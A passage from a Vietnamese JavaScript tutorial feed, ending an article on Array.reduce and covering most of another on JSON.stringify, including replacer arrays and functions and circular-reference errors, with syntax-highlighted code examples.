pháp spread (...)</span> <span class="token comment">// để tạo object mới chứa object tích lũy acc</span> <span class="token comment">// và thuộc tính mới [postID]: cur</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token punctuation">[</span>postID<span class="token punctuation">]</span><span class="token operator">:</span> cur <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, <code>initialValue</code> là một object rỗng <code>{}</code>.</p> <p>Và khi thực thi hàm callback với mỗi phần tử của mảng <code>posts</code> thì:</p> <ul> <li>Với lượt đầu tiên: <code>acc = {}</code> và <code>cur</code> ứng với post đầu tiên nên:</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// giá trị tích lũy đầu tiên là object rỗng</span> acc <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// phần tử hiện tại đang xét</span> cur <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id1"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title1"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> postID <span class="token operator">=</span> cur<span class="token punctuation">.</span>postID <span class="token operator">=</span> <span class="token string">"id1"</span><span class="token punctuation">;</span> <span class="token comment">// tạo object mới bằng cách sử dụng cú pháp spread (...)</span> <span class="token comment">// để ghép object acc hiện tại và thuộc tính mới [postID]: cur</span> acc <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token punctuation">[</span>postID<span class="token punctuation">]</span><span class="token operator">:</span> cur <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token string-property property">'id1'</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <ul> <li>Với lần thứ 2:</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// giá trị tích lũy hiện tại sau lần thứ nhất</span> acc <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token string-property property">'id1'</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// phần tử đang xét</span> cur <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">"id2"</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"title2"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> postID <span class="token operator">=</span> cur<span class="token punctuation">.</span>postID <span class="token operator">=</span> <span class="token string">"id2"</span><span class="token punctuation">;</span> <span class="token comment">// tạo object mới bằng cách sử dụng cú pháp spread (...)</span> <span class="token comment">// để ghép object acc hiện tại và thuộc tính mới [postID]: cur</span> acc <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token operator">...</span>acc<span class="token punctuation">,</span> <span class="token punctuation">[</span>postID<span class="token punctuation">]</span><span class="token operator">:</span> cur <span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token string-property property">'id1'</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id1'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title1'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token string-property property">'id2'</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">postID</span><span class="token operator">:</span> <span class="token string">'id2'</span><span class="token punctuation">,</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">'title2'</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Cứ như vậy cho đến hết thì mình thu được kết quả như mong muốn là giá trị trả về của reduce.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây là một số ứng dụng của Reduce trong JavaScript:</p> <ul> <li>Chuyển mảng 2 chiều thành mảng một chiều</li> <li>Chuyển array thành object theo giá trị của một thuộc tính</li> </ul> <p>Còn nhiều ứng dụng khác của array nữa mà bạn sẽ gặp trong thời gian lập trình với JavaScript.</p>[email protected]<![CDATA[Tìm hiểu về JSON trong JavaScript]]><![CDATA[Giả sử, bạn có một object phức tạp. Và bạn muốn chuyển object thành dạng string để gửi lên server hoặc ghi log ra file. Cách đơn giản là bạn viết phương thức toString() chứa tất cả…]]>https://completejavascript.com/tim-hieu-ve-json-trong-javascript/https://completejavascript.com/tim-hieu-ve-json-trong-javascript/<![CDATA[JSON]]><![CDATA[Kiểu dữ liệu]]><![CDATA[Object]]>Sat, 10 Jun 2017 00:21:47 GMT<p>Giả sử, bạn có một object phức tạp. Và bạn muốn <strong>chuyển object thành dạng string</strong> để gửi lên server hoặc ghi log ra file.</p> <p>Cách đơn giản là bạn viết phương thức <code>toString()</code> chứa tất cả các thuộc tính của object, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{name: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">, age: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>age<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">}</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: Alex, age: 28}</span></span></code></pre></div> <p>Tuy nhiên, cách này gặp <strong>khó khăn khi phát triển</strong>. Vì các thuộc tính của object <strong>có thể thay đổi</strong>, thêm hoặc bớt bất kỳ lúc nào.</p> <p>Khi đó, bạn phải thường xuyên cập nhật lại phương thức <code>toString()</code>. Việc này chắc chắn sẽ mất thời gian.</p> <p>May mắn thay, bạn có một công cụ vô cùng mạnh mẽ là: <strong>JSON trong JavaScript</strong>.</p> <h2 id="json-trong-javascript" style="position:relative;"><a href="#json-trong-javascript" aria-label="json trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JSON trong JavaScript</h2> <p><a href="https://vi.wikipedia.org/wiki/JSON">JSON</a> là viết tắt của <strong>JavaScript Object Notation</strong>. Đây là một định dạng chung để biểu diễn các giá trị và object.</p> <p>Ban đầu, JSON được tạo ra để dùng trong JavaScript. Sau đó, <strong>nhiều thư viện ở các ngôn ngữ khác nhau</strong> được sinh ra để xử lý JSON.</p> <p>Qua đó, JSON được sử dụng nhiều để trao đổi dữ liệu giữa client (JavaScript) và server (Ruby, PHP, Java,...).</p> <p>JSON trong JS có hai phương thức là:</p> <ul> <li><code>JSON.stringify()</code>: chuyển object thành string.</li> <li><code>JSON.parse()</code>: chuyển string thành object.</li> </ul> <h2 id="phương-thức-jsonstringify" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-jsonstringify" aria-label="phương thức jsonstringify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức <code>JSON.stringify</code></h2> <p>Ví dụ sử dụng <code>JSON.stringify()</code> để chuyển đối tượng <code>user</code> thành string như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token number">28</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"name":"Alex","age":28}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// string</span></code></pre></div> <p>Trong ví dụ trên, phương thức <code>JSON.stringify(user)</code> nhận vào một object và trả về string biểu diễn object đã truyền vào.</p> <p><strong>Chú ý:</strong> JSON trong JavaScript khác với kí hiệu object (object literal).</p> <ul> <li>Trong JSON, string luôn sử dụng dấu nháy kép <code>""</code>, mà không sử dụng dấu nháy đơn <code>''</code> hay dấu backtick <code>``</code>.</li> <li>Thuộc tính của object cũng chuyển thành string sử dụng dấu nháy kép <code>""</code>. Do đó, <code>name</code> và <code>age</code> trở thành <code>"name"</code> và <code>"age"</code>.</li> </ul> <p><code>JSON.stringify</code> cũng có thể áp dụng cho kiểu dữ liệu nguyên thủy. Và sau đây là những kiểu dữ liệu mà JSON trong JavaScript hỗ trợ:</p> <ul> <li>Object <code>{...}</code></li> <li>Array <code>[...]</code></li> <li>Kiểu nguyên thủy: <ul> <li>string</li> <li>number</li> <li>boolean</li> <li><code>null</code></li> </ul> </li> </ul> <p>Ví dụ JSON với các kiểu dữ liệu:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">// số chuyển sang JSON vẫn là số console.log(JSON.stringify(1)); // 1 // string chuyển sang JSON vẫn là string, nhưng sử dụng dấu "" console.log(JSON.stringify('test')); // "test" // boolean chuyển sang JSON vẫn là boolean console.log(JSON.stringify(true)); // true // mảng chuyển sang JSON console.log(JSON.stringify([1, 2, 3])); // [1,2,3]</code></pre></div> <p>JSON chỉ <strong>đơn giản là dữ liệu</strong> và độc lập với ngôn ngữ lập trình. Do đó, một vài thuộc tính của object bị bỏ qua khi dùng <code>JSON.stringify</code> như:</p> <ul> <li><a href="/phuong-thuc-object-va-this-trong-javascript/">Phương thức của object</a>.</li> <li><a href="/tim-hieu-ve-symbol-trong-javascript/">Symbol</a> key và value.</li> <li>Thuộc tính với giá trị là <code>undefined</code>.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token comment">// phương thức bị bỏ qua</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"id"</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token operator">:</span> <span class="token number">12356</span><span class="token punctuation">,</span> <span class="token comment">// symbole bị bỏ qua</span> <span class="token literal-property property">something</span><span class="token operator">:</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token comment">// thuộc tính với giá trị undefined cũng bị bỏ qua</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {} (string không có thuộc tính nào)</span></code></pre></div> <blockquote> <p>Điều này là hoàn toàn bình thường. Nhưng nếu đó không phải thứ bạn muốn, bạn vẫn có thể <strong>tùy biến được quá trình</strong> chuyển từ object sang string.</p> </blockquote> <p>Phương thức <code>JSON.stringify</code> áp dụng được với object, array có nhiều tầng lồng nhau, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Conference"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">room</span><span class="token operator">:</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token literal-property property">participants</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"alex"</span><span class="token punctuation">,</span> <span class="token string">"ann"</span><span class="token punctuation">]</span><span class="token punctuation">,</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>meetup<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">{ "title":"Conference", "room":{"number":23,"participants":["alex","ann"]}, }</code></pre></div> <p>Tuy nhiên, <code>JSON.stringify</code> không hỗ trợ nếu object có <strong>tham chiếu vòng tròn</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> room <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Conference"</span><span class="token punctuation">,</span> <span class="token literal-property property">participants</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"alex"</span><span class="token punctuation">,</span> <span class="token string">"ann"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> meetup<span class="token punctuation">.</span>place <span class="token operator">=</span> room<span class="token punctuation">;</span> <span class="token comment">// meetup tham chiếu đến room</span> room<span class="token punctuation">.</span>occupiedBy <span class="token operator">=</span> meetup<span class="token punctuation">;</span> <span class="token comment">// room tham chiếu lại đến meetup.</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>meetup<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Converting circular structure to JSON</span></code></pre></div> <h2 id="tùy-biến-phương-thức-jsonstringify" style="position:relative;"><a href="#t%C3%B9y-bi%E1%BA%BFn-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-jsonstringify" aria-label="tùy biến phương thức jsonstringify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tùy biến phương thức <code>JSON.stringify</code></h2> <p>Cú pháp đầy đủ của <code>JSON.stringify</code> trong JavaScript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>value<span class="token punctuation">[</span><span class="token punctuation">,</span> replacer<span class="token punctuation">,</span> space<span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>value</code>: là giá trị đầu vào cần chuyển thành string.</li> <li><code>replacer</code>: <strong>mảng chứa các thuộc tính</strong> được dùng để chuyển sang string hoặc một hàm <code>function(key, value)</code> - được gọi với mỗi thuộc tính của object.</li> <li><code>space</code>: số lượng kí tự <strong>dấu cách</strong> dùng để format JSON trong JS.</li> </ul> <p>Thông thường, phương thức <code>JSON.stringify</code> chỉ cần truyền vào tham số đầu tiên.</p> <p>Tuy nhiên, nếu bạn muốn tùy chỉnh quá trình chuyển từ object sang JSON, bạn có thể sử dụng tham số thứ 2 và thứ 3.</p> <p>Ví dụ truyền vào một mảng các thuộc tính dành cho <code>JSON.stringify</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> room <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Conference"</span><span class="token punctuation">,</span> <span class="token literal-property property">participants</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">place</span><span class="token operator">:</span> room<span class="token punctuation">,</span> <span class="token comment">// meetup tham chiếu đến room</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> room<span class="token punctuation">.</span>occupiedBy <span class="token operator">=</span> meetup<span class="token punctuation">;</span> <span class="token comment">// room tham chiếu đến meetup</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>meetup<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"title"</span><span class="token punctuation">,</span> <span class="token string">"participants"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// {"title":"Conference","participants":[{},{}]}</span></span></code></pre></div> <p>Bây giờ, <code>JSON.stringify</code> đã không bị lỗi <strong>tham chiếu vòng</strong> như trên.</p> <p>Tuy nhiên, thuộc tính <code>place</code> bị biến mất và các phần tử bên trong mảng <code>participants</code> lại là object rỗng <code>{}</code>. Đó là bởi vì thuộc tính <code>name</code> và <code>place</code> không nằm trong danh sách cho phép.</p> <p>Bạn có thể tùy chỉnh danh sách thuộc tính cho phép để chấp nhận tất cả các thuộc tính, ngoại trừ thuộc tính có tham chiếu vòng <code>occupiedBy</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> room <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Conference"</span><span class="token punctuation">,</span> <span class="token literal-property property">participants</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">place</span><span class="token operator">:</span> room<span class="token punctuation">,</span> <span class="token comment">// meetup tham chiếu đến room</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> room<span class="token punctuation">.</span>occupiedBy <span class="token operator">=</span> meetup<span class="token punctuation">;</span> <span class="token comment">// room tham chiếu đến meetup</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>meetup<span class="token punctuation">,</span> <span class="token punctuation">[</span> <span class="token string">"title"</span><span class="token punctuation">,</span> <span class="token string">"participants"</span><span class="token punctuation">,</span> <span class="token string">"place"</span><span class="token punctuation">,</span> <span class="token string">"number"</span><span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {"title":"Conference","participants":[{"name":"Alex"},{"name":"Anna"}],"place":{"number":23}}</span></code></pre></div> <p>Tất cả các thuộc tính (trừ <code>occupiedBy</code>) đã được đưa vào JSON. Tuy nhiên, cách sử dụng vẫn khá dài dòng. Để giải quyết vấn đề này, bạn có thể dùng hàm <code>replacer</code> thay thế cho mảng.</p> <p>Hàm <code>replacer</code> được gọi với mỗi cặp <strong>(key, value)</strong> trong object và trả về giá trị được thay thế hoặc trả về <code>undefined</code> nếu bạn muốn bỏ qua thuộc tính.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> room <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> meetup <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Conference"</span><span class="token punctuation">,</span> <span class="token literal-property property">participants</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Anna"</span> <span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">place</span><span class="token operator">:</span> room<span class="token punctuation">,</span> <span class="token comment">// meetup tham chiếu đến room</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> room<span class="token punctuation">.</span>occupiedBy <span class="token operator">=</span> meetup<span class="token punctuation">;</span> <span class="token comment">// room tham chiếu đến meetup</span> <span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>meetup<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">key<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>key<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>value<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> key <span class="token operator">==</span> <span class="token string">"occupiedBy"</span> <span class="token operator">?</span> <span class="token keyword">undefined</span> <span class="token operator">:</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* : [object Object] title: Conference participants: [object Object],[object Object] 0: [object Object] name: Alex 1: [object Object] name: Anna place: [object Object] number: 23 occupiedBy: [object Object] {"title":"Conference","participants":[{"name":"Alex"},{"name":"Anna"}],"place":{"number":23}} */</span></code></pre></div> <p><strong>Chú ý:</strong> hàm <code>replacer</code> được gọi với mỗi cặp <code>(key, value)</code> bao gồm cả object và mảng lồng nhau <strong>một cách đệ quy</strong>. Giá trị <code>this</code> trong hàm <code>replacer</code> là object chứa thuộc tính đang xét.</p> <p>Lần gọi hàm đầu tiên, hàm <code>replacer</code> tạo ra một "wrapper object": <code>{"": meetup}</code>. Nói cách khác, cặp <code>(key, value)</code> đầu tiên không có <code>key</code>, còn <code>value</code> là toàn bộ object <code>meetup</code>.</p> <p>Đó là lý do tại sao dòng đầu tiên in ra: <code>: [object Object]</code>.</p> <h2 id="sử-dụng-tham-số-space-trong-jsonstringify" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-tham-s%E1%BB%91-space-trong-jsonstringify" aria-label="sử dụng tham số space trong jsonstringify permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng tham số 